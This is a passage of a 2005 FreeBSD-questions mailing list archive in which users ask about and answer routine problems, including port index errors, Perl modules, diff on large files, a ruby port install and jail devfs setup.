b=hjqSzsL3gSRVS7+Ez2nVtn1LAns2inMKtiBjTBBT2XJX9cSG0AmtJOL940W2I/x6ZTHGur4HJz5O4siDyfm8eSIDm+vnPrR81M9CiNvNj56sRwTGl5+UNpfw4CEtRBARUv1hAKmf15waQkSIgtIbPEI1SEeuQNn/3xvwidxe7lE= Received: by 10.54.42.76 with SMTP id p76mr127484wrp; Tue, 08 Feb 2005 23:02:46 -0800 (PST) Received: from ?10.1.42.29? ([196.14.169.11]) by smtp.gmail.com with ESMTP id 33sm33021wra.2005.02.08.23.02.45; Tue, 08 Feb 2005 23:02:46 -0800 (PST) Message-ID: <4209B58D.6000503@gmail.com> Date: Wed, 09 Feb 2005 09:02:37 +0200 From: Vikash Badal User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: port source list from www.freebsd.org X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 07:02:47 -0000 Greetings, <><><>I have looked at the following url : http://www.freebsd.org/cgi/pds.cgi?ports/www/squid <>and the sources are no longer listed, is this the default or is there a problem with the pages I have tried several different ports and all produce the same result: <>Sorry, did not find the sources for ports/category/portname <> Thanks vikash From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 07:06:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C7F7316A4CE for ; Wed, 9 Feb 2005 07:06:14 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3F70343D3F for ; Wed, 9 Feb 2005 07:06:14 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1976Ej13378; Tue, 8 Feb 2005 23:06:15 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Loren M. Lang" , Date: Tue, 8 Feb 2005 23:06:13 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <20050209053242.GL8619@alzatex.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 07:06:14 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Loren M. Lang > Sent: Tuesday, February 08, 2005 9:33 PM > To: freebsd-questions@freebsd.org > Subject: Re: favor > > > What if I wanted to put up a page of emails that I wrote and sent to, > say, the freebsd questions mailing list. Since they are > replies to other > peoples emails, it includes bits of what they wrote, but it may be > relavent to understanding my reply. Now, of course I'll remove all > headers and mangle all email addresses, but, since it includes their > ideas, can I still post it on a website for others to read who may be > having the same problems? > This is called making a collection, and strictly you are supposed to get permission from each person to include what they say. However, in this case, it is most likely each person is just repeating to your answer some response they heard from someone else, or got from a manual, or some such. For example you post asking for an example of a /etc/printcap and someone replies - while technically that's his copyrighted material, if he simply copies an example already in the /etc/printcap file with a few explanations, it's not his copyrighted material since it belongs to the BSD copyight - except that the BSD copyright allows you to do this.... It is far better to simply rewrite the responses that you get, besides making them more cohesive and easier to understand, when you do this you avoid the copyright issue. Ideas cannot be copyrighted - for example I can see a SpongeBob Squarepants cartoon where the Sponge gets flushed and jams the crapper - I can then write a story about a talking toilet brush that gets flushed and jams the crapper - no infringement there. That is after all how 99% of television writing is done today. Ideas can be patented though and images can be trademarked. So I best make sure the toilet brush in my story doesen't look yellow, spongey and square. Ted From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 07:13:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1A83D16A4CE for ; Wed, 9 Feb 2005 07:13:35 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id D179243D39 for ; Wed, 9 Feb 2005 07:13:33 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j197DUt0047547 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 9 Feb 2005 14:13:30 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j197DU6i047365; Wed, 9 Feb 2005 14:13:30 +0700 (ICT) Date: Wed, 9 Feb 2005 14:13:30 +0700 (ICT) Message-Id: <200502090713.j197DU6i047365@banyan.cs.ait.ac.th> From: Olivier Nicole To: questions@freebsd.org X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Subject: Perl modules X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 07:13:35 -0000 Hi, Are you aware of any magical formula that would list the Perl modules installed in a configuration? I have to set-up a new machine and would need to re-install (newer version of) all themodules used on the old machine. Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 07:54:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 82FA216A4CE for ; Wed, 9 Feb 2005 07:54:01 +0000 (GMT) Received: from mail.int.xm.co.za (email.xm.co.za [196.23.175.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id C39C643D1D for ; Wed, 9 Feb 2005 07:53:58 +0000 (GMT) (envelope-from al@xms.co.za) Received: from mailnull by mail.int.xm.co.za with virus-scanned (Exim 4.42 (FreeBSD)) id 1Cymlz-0004OB-Hn for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 10:00:31 +0200 Received: from [192.168.1.193] (helo=linux.site) by mail.int.xm.co.za with smtp (Exim 4.42 (FreeBSD)) id 1Cymlz-0004O6-D9; Wed, 09 Feb 2005 10:00:31 +0200 Date: Wed, 9 Feb 2005 09:56:08 +0200 From: Andrew Lewis To: freebsd-questions@freebsd.org, on@cs.ait.ac.th Message-Id: <20050209095608.1fff6cde@linux.site> In-Reply-To: <200502090713.j197DU6i047365@banyan.cs.ait.ac.th> References: <200502090713.j197DU6i047365@banyan.cs.ait.ac.th> X-Mailer: Sylpheed-Claws 0.9.12 (GTK+ 1.2.10; i686-suse-linux) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Perl modules X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 07:54:01 -0000 On Wed, 9 Feb 2005 14:13:30 +0700 (ICT) Olivier Nicole wrote: > Are you aware of any magical formula that would list the Perl modules > installed in a configuration? Your question interested me so I took it upon myself to Google for it. :p This should do it for you: http://mail.pm.org/pipermail/vienna-pm/2002-August/001022.html -AL. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 07:55:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 183B516A4CE for ; Wed, 9 Feb 2005 07:55:02 +0000 (GMT) Received: from mail.int.xm.co.za (email.xm.co.za [196.23.175.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7A27943D1D for ; Wed, 9 Feb 2005 07:55:01 +0000 (GMT) (envelope-from al@xms.co.za) Received: from mailnull by mail.int.xm.co.za with virus-scanned (Exim 4.42 (FreeBSD)) id 1Cymn4-0004rq-Tm for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 10:01:38 +0200 Received: from [192.168.1.193] (helo=linux.site) by mail.int.xm.co.za with smtp (Exim 4.42 (FreeBSD)) id 1Cymn4-0004rf-PD; Wed, 09 Feb 2005 10:01:38 +0200 Date: Wed, 9 Feb 2005 09:57:15 +0200 From: Andrew Lewis To: freebsd-questions@freebsd.org, on@cs.ait.ac.th Message-Id: <20050209095715.72336017@linux.site> In-Reply-To: <200502090713.j197DU6i047365@banyan.cs.ait.ac.th> References: <200502090713.j197DU6i047365@banyan.cs.ait.ac.th> X-Mailer: Sylpheed-Claws 0.9.12 (GTK+ 1.2.10; i686-suse-linux) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Perl modules X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 07:55:02 -0000 On Wed, 9 Feb 2005 14:13:30 +0700 (ICT) Olivier Nicole wrote: > Are you aware of any magical formula that would list the Perl modules > installed in a configuration? And an alternative approach: http://tek-tips.com/viewthread.cfm?qid=898931 -AL. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 08:03:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B70B416A4CE for ; Wed, 9 Feb 2005 08:03:08 +0000 (GMT) Received: from xxl.rdsbv.ro (xxl.rdsbv.ro [82.77.46.46]) by mx1.FreeBSD.org (Postfix) with ESMTP id BCC9043D1D for ; Wed, 9 Feb 2005 08:03:07 +0000 (GMT) (envelope-from petre@kgb.ro) Received: from localhost (localhost.rdsbv.ro [127.0.0.1]) by xxl.rdsbv.ro (Postfix) with ESMTP id 504786137 for ; Wed, 9 Feb 2005 10:04:45 +0200 (EET) Received: from xxl.rdsbv.ro ([127.0.0.1]) by localhost (xxl.rdsbv.ro [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 68806-06 for ; Wed, 9 Feb 2005 10:04:42 +0200 (EET) Received: from xxl.rdsbv.ro (localhost.rdsbv.ro [127.0.0.1]) by xxl.rdsbv.ro (Postfix) with ESMTP id C0B2660E7 for ; Wed, 9 Feb 2005 10:04:42 +0200 (EET) Date: Wed, 9 Feb 2005 10:04:42 +0200 From: Petre Bandac To: freebsd-questions@freebsd.org Message-ID: <20050209100442.4963d5d9@xxl.rdsbv.ro> Organization: kgb.ro X-Mailer: Sylpheed-Claws 1.0.0 (GTK+ 1.2.10; i386-portbld-freebsd5.1) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at xxl.rdsbv.ro Subject: portsdb error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 08:03:08 -0000 how ca I get rid of the errors in the Makefiles ? I'm getting tired of not being able to keep my ports database up-to-date thanks, petre xxl# portsdb -Uu Updating the ports index ... Generating INDEX.tmp - please wait.."/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Ma kefile", line 53: warning: String comparison operator should be either == or != "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile ", line 53: Malformed conditional ((${OSVERSION} < 503001 && ${OSVERSION} >= 500000) || (${OSVERSION} <= 492000)) "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile ", line 53: Missing dependency operator "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile ", line 55: if-less endif "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile ", line 55: Need an operator "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma kefile.knobs", line 30: warning: String comparison operator should be either == or != "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma kefile.knobs", line 30: Malformed conditional ((${OSVERSION} < 503001 && ${OSVERSION} >= 500000) || (${OSVERSION} < 492000)) "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma kefile.knobs", line 30: Missing dependency operator "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma kefile.knobs", line 44: if-less endif "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma kefile.knobs", line 44: Need an operator make: fatal errors encountered -- cannot continue ===> arabic/openoffice-1.1 failed *** Error code 1 -- Login: petre Name: Petre Bandac Directory: /home/petre Shell: /usr/local/bin/zsh On since Mon Feb 7 09:27 (EET) on ttyv0, idle 2 days 0:36 (messages off) Last login Tue Feb 8 20:49 (EET) on ttypa from 213.157.185.173 New mail received Mon May 24 19:09 2004 (EEST) Unread since Tue Feb 17 12:31 2004 (EET) No Plan. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 08:05:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3F1D016A4CE for ; Wed, 9 Feb 2005 08:05:21 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id E0AEE43D1F for ; Wed, 9 Feb 2005 08:05:19 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j1985I4O049239 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 15:05:18 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j1985Hqi048404; Wed, 9 Feb 2005 15:05:17 +0700 (ICT) Date: Wed, 9 Feb 2005 15:05:17 +0700 (ICT) Message-Id: <200502090805.j1985Hqi048404@banyan.cs.ait.ac.th> From: Olivier Nicole To: al@xms.co.za In-reply-to: <20050209095608.1fff6cde@linux.site> (message from Andrew Lewis on Wed, 9 Feb 2005 09:56:08 +0200) References: <200502090713.j197DU6i047365@banyan.cs.ait.ac.th> <20050209095608.1fff6cde@linux.site> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: freebsd-questions@freebsd.org Subject: Re: Perl modules X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 08:05:21 -0000 Thanks it seems to do the trick. olivier From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 09:11:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C71BE16A4CE for ; Wed, 9 Feb 2005 09:11:33 +0000 (GMT) Received: from mail.ciam.ru (mail.ciam.ru [213.147.57.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6D89143D45 for ; Wed, 9 Feb 2005 09:11:33 +0000 (GMT) (envelope-from sem@ciam.ru) Received: from msd-mtu.mbrd.ru ([195.34.35.77] helo=[172.16.4.9]) by mail.ciam.ru with esmtpa (Exim 4.x) id 1Cynsh-000NBL-5V; Wed, 09 Feb 2005 12:11:31 +0300 Message-ID: <4209D3C2.8090201@ciam.ru> Date: Wed, 09 Feb 2005 12:11:30 +0300 From: Sergey Matveychuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en-us, en MIME-Version: 1.0 To: Chuck Swiger References: <420908FF.8030604@ciam.ru> <42091581.8020008@mac.com> In-Reply-To: <42091581.8020008@mac.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: diff: memory exhausted X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 09:11:33 -0000 Chuck Swiger wrote: > Sergey Matveychuk wrote: > >> How can I compare two big text files? > > > Does the -H option help any? (How big is big?) > -H does not help. With the same message. It an output of mysqldump. 12Mb. -- Sem. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 09:23:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DF91C16A4CE for ; Wed, 9 Feb 2005 09:23:02 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.203]) by mx1.FreeBSD.org (Postfix) with ESMTP id 82A9343D46 for ; Wed, 9 Feb 2005 09:23:02 +0000 (GMT) (envelope-from jacula@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so1031700wra for ; Wed, 09 Feb 2005 01:23:00 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:subject:references:in-reply-to:content-type:content-transfer-encoding; b=nGdf5rNZ0HA2v9SecciWc1k4VyUQ95FDFUVqRIk053J11v6CcfuTaMh/PH/IQEcEcNrqs5uTAuF8JduPUvUtdQXXKorFIuimOR9R1RrBHx19DYkssqSnCzxsrQjD6JpsIvUKjQGq+AohS5vPw64BEsWnKCXX7Yi3rK6ObWiuqmU= Received: by 10.54.37.38 with SMTP id k38mr45170wrk; Wed, 09 Feb 2005 01:22:59 -0800 (PST) Received: from ?82.51.19.156? ([82.51.19.156]) by smtp.gmail.com with ESMTP id 66sm25017wra.2005.02.09.01.22.59; Wed, 09 Feb 2005 01:22:59 -0800 (PST) Message-ID: <4209D6BE.1010105@gmail.com> Date: Wed, 09 Feb 2005 10:24:14 +0100 From: jacula User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.7.5) Gecko/20050206 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20050209070112.GB957@localhost> In-Reply-To: <20050209070112.GB957@localhost> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: ruby-1.8.2_2 failed to install under Freebsd 5.3 release on AMD64 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 09:23:03 -0000 Bachelier Vincent wrote: > Hi, I have a problem to install this programs > In fact I want to use port version of portupgrade and it need ruby, > but this version wouldn't install > > This is le log > > ===> Installing for ruby-1.8.2_2 > ===> Generating temporary packing list > ===> Checking if lang/ruby18 already installed > ./miniruby ./instruby.rb --dest-dir="" --make="make" --mflags=" -j > 3" --make-flags=" ARCH=amd64 OPSYS=FreeBSD OSREL=5.3 OSVERSION=503001 > PORTOBJFORMAT=elf SYSTEMVERSION= -j 3" --mantype="doc" > install -c -p -m 0755 ruby18 /usr/local/bin/ruby18 > ./miniruby ./ext/extmk.rb --dest-dir="" --make="make" --mflags=" -j > 3" --make-flags=" ARCH=amd64 OPSYS=FreeBSD OSREL=5.3 OSVERSION=503001 > PORTOBJFORMAT=elf SYSTEMVERSION= -j 3" install > > Do you have an idea ? > Hi Vincent. Idem here for me: http://lists.freebsd.org/pipermail/freebsd-ports/2005-February/020660.html My solution: http://lists.freebsd.org/pipermail/freebsd-ports/2005-February/020512.html The attached makefile work for me. Bye Jacula From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 09:25:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4EBEF16A4CE for ; Wed, 9 Feb 2005 09:25:58 +0000 (GMT) Received: from mail.ciam.ru (mail.ciam.ru [213.147.57.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id F04D043D3F for ; Wed, 9 Feb 2005 09:25:57 +0000 (GMT) (envelope-from sem@ciam.ru) Received: from msd-mtu.mbrd.ru ([195.34.35.77] helo=[172.16.4.9]) by mail.ciam.ru with esmtpa (Exim 4.x) id 1Cyo6e-000O83-0t; Wed, 09 Feb 2005 12:25:56 +0300 Message-ID: <4209D723.1000307@ciam.ru> Date: Wed, 09 Feb 2005 12:25:55 +0300 From: Sergey Matveychuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en-us, en MIME-Version: 1.0 To: Dan Nelson References: <420908FF.8030604@ciam.ru> <20050208193055.GD82752@dan.emsphone.com> In-Reply-To: <20050208193055.GD82752@dan.emsphone.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: diff: memory exhausted X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 09:25:58 -0000 Dan Nelson wrote: > or you can try installing the textproc/2bsd-diff > port which apparently doesn't try to load the files into RAM, so it can > work on large files more easily. > Yes! That's it. Thanks! -- Sem. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 09:33:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 361B716A4CE for ; Wed, 9 Feb 2005 09:33:16 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.199]) by mx1.FreeBSD.org (Postfix) with ESMTP id D115243D45 for ; Wed, 9 Feb 2005 09:33:15 +0000 (GMT) (envelope-from freebsd99@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so1054670wri for ; Wed, 09 Feb 2005 01:33:15 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=FfgQEJEiXJTdzYAS8w3dZpIthKO6n1AJJpn7Xw4l7h8qM3epMyYDzjVL5mHHxLmsXdyjC5weMCNBXQEEtEdTrHugrSKGLblQ0JgbIV/ZZQ+dQZOFpEauwtFGGhdBHG3lpAy2ZKbkunmru4z7wkqwQ50bav3ihJ2yj+daqYvtlA4= Received: by 10.54.47.17 with SMTP id u17mr28249wru; Wed, 09 Feb 2005 01:33:15 -0800 (PST) Received: by 10.54.2.60 with HTTP; Wed, 9 Feb 2005 01:33:15 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 17:33:15 +0800 From: r p To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: jail /dev X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: r p List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 09:33:16 -0000 On Tue, 8 Feb 2005 10:47:17 -0700, Chad Leigh -- Shire. Net LLC wrote: > > I have the following in my jail startup script > > devfs_domount /local/2/hobbiton/dev devfsrules_jail > devfs_set_ruleset devfsrules_jail /local/2/hobbiton/dev > /sbin/devfs -m /local/2/hobbiton/dev rule -s 4 applyset > > I am not sure which one is working but one of them is :-) I will have > to debug it some more and simplify this Thanks for your reply. I put those lines in my jail startup script, substituting my own path to the jail, but 'devfs_domount" and 'devfs_set_ruleset' seem to be missing, and I still get the same error for the 'devfs -m ...' command; devfs_domount: not found devfs_set_ruleset: not found devfs rule: ioctl DEVFSIO_SAPPLY: Inappropriate ioctl for device I've searched my system and can't find 'devfs_domount' or 'devfs_set_ruleset'. Maybe you could attach a file showing what devices are created with these commands, and i'll just write a line to delete the uneeded devices in startup script. This is really frustrating me :) Richard > On Feb 8, 2005, at 8:32 AM, r p wrote: > > > Hi, > > > > I've set up a jail and am getting confused about setting up the > > devices. The name of the jail is "jail" and it's directory is > > "/usr/jail". I am using 5.3-Release. I have tried three methods, one > > that works, two that don't. > > > > At the moment what I'm doing is "mount_devfs devfs /usr/jail/dev" then > > going into the jail and deleting the devices that I (think) I don't > > need/shouldn't have available. This works, but brings up the problem > > that I don't know what devices I should leave in and which I > > shouldn't. > > > > I tried adding the line "jail_jail_devfs_ruleset=4" along with other > > suggested lines relating to jails to /etc/rc.conf, but this resulted > > in an error message at bootup; "WARNING: devfs_set_ruleset: you must > > specify a ruleset number". I am getting the number ("4") from the > > "/etc/defaults/devfs.rules" file. > From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 09:40:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F135816A4CE for ; Wed, 9 Feb 2005 09:40:32 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id ED2EC43D31 for ; Wed, 9 Feb 2005 09:40:25 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j199eLGf020043 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 01:40:22 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j199eL6T020041; Wed, 9 Feb 2005 01:40:21 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Wed, 9 Feb 2005 01:40:21 -0800 From: "Loren M. Lang" To: Petre Bandac Message-ID: <20050209094021.GM8619@alzatex.com> References: <20050209100442.4963d5d9@xxl.rdsbv.ro> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050209100442.4963d5d9@xxl.rdsbv.ro> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: portsdb error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 09:40:33 -0000 On Wed, Feb 09, 2005 at 10:04:42AM +0200, Petre Bandac wrote: > how ca I get rid of the errors in the Makefiles ? > > I'm getting tired of not being able to keep my ports database up-to-date > > thanks, > > petre Instead of portsdb -Uu, do make fetchindex in /usr/ports, then do portsdb -u by itself. > > > xxl# portsdb -Uu > Updating the ports index ... Generating INDEX.tmp - please > wait.."/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Ma > kefile", line 53: warning: String comparison operator should be either > == or != > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile > ", line 53: Malformed conditional ((${OSVERSION} < 503001 && > ${OSVERSION} >= 500000) || (${OSVERSION} <= 492000)) > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile > ", line 53: Missing dependency operator > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile > ", line 55: if-less endif > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile > ", line 55: Need an operator > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma > kefile.knobs", line 30: warning: String comparison operator should be > either == or != > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma > kefile.knobs", line 30: Malformed conditional ((${OSVERSION} < 503001 && > ${OSVERSION} >= 500000) || (${OSVERSION} < 492000)) > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma > kefile.knobs", line 30: Missing dependency operator > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma > kefile.knobs", line 44: if-less endif > "/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma > kefile.knobs", line 44: Need an operator > make: fatal errors encountered -- cannot continue > ===> arabic/openoffice-1.1 failed > *** Error code 1 > > > -- > Login: petre Name: Petre 